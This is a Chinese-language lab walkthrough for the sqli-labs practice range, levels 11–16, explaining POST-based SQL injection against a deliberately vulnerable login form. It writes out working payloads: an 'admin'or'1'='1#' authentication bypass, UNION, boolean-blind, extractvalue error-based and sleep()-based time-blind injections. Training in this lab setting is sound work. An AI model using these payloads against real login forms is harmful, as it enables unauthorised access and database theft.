0%

sqli-labs靶场Less11-16(二次注入)

Less11

这一关开始使用post注入,什么是post注入呢?

就是数据从客户端提交
到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,
提交到服务器后服务器再进行验证。这就是一次 post 的过程的。

当我们输入

1
2
username:admin'
Password:ddd(任意值)

image

显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
这里我们可以在输入框输入万能密码来尝试一下。

这里username输入:admin'or'1'='1#,密码随意

image

返回的正确的结果,那么原因是什么呢?我们在background-1中已经其实提到了,逻辑运算的部分中已经讲解了原理。

当我们提交usernamepassword后,后台形成的sql语句为

1
@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1";

在#以后的内容就被注释掉,前面的内容因为or 1=1恒成立,所以语句就成立,我们此时以admin的用户登录。那么接下来我们尝试用get注入中用到的其他的语句代替or 1=1进行注入。

这里我们用 union 注入进行尝试:

1
2
Username:1admin'union select 1,database()#
passwd=1(任意密码)

image

可以看到显示了databasesecurity,这是我们比较常用的手法。
还可以利用其他的方法进行注入

Less12

本关于11不同之处在于,id参数使用了”)过滤。

1
2
username:admin")#
Password:ddd(任意值)

image

Less13

本关id参数使用了’)过滤。

1
2
username:admin')#
Password:ddd(任意值)

image

我们可以明显的看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。那我们这里可以用下布尔类型的盲注。

猜测数据库第一位:

1
uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

image

登录成功,就这样可以挨着对每一位进行测试,less5中我们已经讲到了这个过程了,这里就不重复了。

在按位进行猜解的过程中,可以利用二分法,可以有效的降低尝试次

Less14

本关id参数使用了”过滤。

1
uname=admin"#&passwd=1&submit=Submit

image

登录成功,同样没有输入结果,这里使用报错盲注演示一下:

1
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit

image

可以看到报错了,显示版本信息

Less15

本关id参数使用了’过滤,且没有错误提示,那么我们只能靠猜测进行盲注。

1
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

image

正确的时候可以直接登录,不正确的时候延时 5 秒。其他payload参考Less9

Less16

本关和Less15的处理方法是一样的,同样使用延时注入的方法进行解决。不同的是id参数使用了”)的处理

1
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

image

正确的时候可以直接登录,不正确的时候延时 5 秒。其他payload参考Less9